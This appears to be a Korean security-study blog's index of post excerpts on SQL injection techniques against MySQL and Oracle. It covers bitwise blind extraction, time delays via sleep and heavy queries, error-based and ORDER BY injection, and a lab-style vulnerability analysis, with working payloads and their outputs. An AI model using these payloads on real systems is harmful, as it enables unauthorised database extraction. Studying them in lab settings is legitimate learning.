목록전체 글 (162)
Oh! JUN
기존 blind_Sql_Injection은 기준을 하나 정하고 '참' 또는 '거짓'으로 판별을 했는데 문제가 시간이 굉장히 오래걸린다. 비트 데이터 추론 기법을 사용해도 7번을 '참' 또는 '거짓'을 확인해야 문자를 하나 알아낼 수 있다. 정보량이 적다면 문제되지 않지만 많을수록 카운트 하나 줄이는데 단축되는 시간이 크다. 그래서 이번에는 Multiple Search Technique 기법을 활용해서 카운트를 줄여볼것이다. 위 기법을 사용하기 위해서는 '참' 또는 '거짓'이 판별될 수 있는 기준이 2개 이상이 필요하다. 기존에는 '참'이면 'test1'이 출력되고 '거짓'이면 에러가 발생하거나 게시글이 존재하지 않는다. 로 판단할 수 있었는데 Multiple에서는 '참' '거짓'으로 'test1', 't..
※ Heavy Query Technique 쿼리에 무거운 작업을 요청해서 딜레이 시키는 공격 ' and (select case when 1=1 then (select count(*) from information_schema.schemata t1, information_schema.schemata t2, information_schema.schemata t3, information_schema.schemata t4, information_schema.schemata t5) else 1 end)=1# 참일 때 information_schema.schemata t1, information_schema.schemata t2, information_schema.schemata t3, information_sch..
게시물 수정 페이지에서 패스워드가 일치하면 정상적으로 수정되고 일치하지 않으면 이전페이지로 돌아가는 규칙을 활용할 것이다. MYSQL : DB 이름 1234' and 1=(select case when ascii(substring((select database()),1,1))&1=1 then sleep(2) else 1 end)# 수정완료 0 DB : b□□□□ 1234' and 1=(select case when ascii(substring((select database()),1,1))&2=2 then sleep(2) else 1 end)# 2초후 '패스워드가 일치하지 않습니다.' 1 1234' and 1=(select case when ascii(substring((select database()),..
# MYSQL Title 누르고 burp하면 sort_column, sort 파라미터 뜬다. case when 구문은 order by 절에도 사용할 수 있다. 쿼리 결과 select * from tb_board order by (select case when 1=1 then 'a' else (select 'a' union select 'b')end) desc; 내림차순 정렬 ('a' 컬럼 없어서 의미없음) select * from tb_board order by (select case when 1=2 then 'a' else (select 'a' union select 'b')end) desc; 다중 레코드 오류 Mysql : DB 이름 sort_column=(select case when ascii(s..
★ 주의사항 Response-Based SQL Injection은 각 DBMS별 버전에 따라서 구문 실행이 되지 않을 수 있으며, 웹 어플리케이션 서버 환경에 따라 되지 않을 수 있음. # MYSQL MYSQL은 다중 레코드 오류로 발생가능하니까 적용시켜보면 keyword Input 결과 1번째 방법 select * from tb_board where title like '%' and (select case when 1=2 then 'a' else (select 'a' union select 'b') end)# %' -에러 발생- 관리자에게 문의하시오. select * from tb_board where title like '%' and (select case when 1=1 then 'a' else (..
# MYSQL * MYSQL은 Divide by Zero 에러 발생을 하지 않아서 다중 레코드 에러만 가능 # ORACLE 쿼리 결과 select case when 1=1 then 'a' else CAST(1/0 as char) end from dual; a select case when 1=2 then 'a' else CAST(1/0 as char) end from dual; ORA-01476: 제수가 0 입니다 Error code: 1476 SQL state: 22012 select case when 1=1 then 1 else 1/0 end from dual; 1 select case when 1=2 then 1 else 1/0 end from dual; ORA-01476: 제수가 0 입니다 Err..
1. DB 이름 DB 이름 글자 수 1' and length(database())=4# T DB : □□□□ DB 이름 1' and ascii(substring(database(),1,1))&1=1# 0 DB : d□□□ 1' and ascii(substring(database(),1,1))&2=2# 0 1' and ascii(substring(database(),1,1))&4=4# 1 1' and ascii(substring(database(),1,1))&8=8# 0 1' and ascii(substring(database(),1,1))&16=16# 0 1' and ascii(substring(database(),1,1))&32=32# 1 1' and ascii(substring(database(),1..
1. 취약점 분석 INPUT OUTPUT ' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 - 문법 오류 발생(MYSQL DB 사용하는거 알 수 있음) 1 ID: 1 First name: admin Surname: admin - ID : 1에 해당하는 First, Surname 정상 출력 2 ID: 2 First name: Gordon Surname: Brown - ID : 2에 해당하는 First, Surname 정상 출력 2-1 ID: 2-1 First name: Gordon Sur..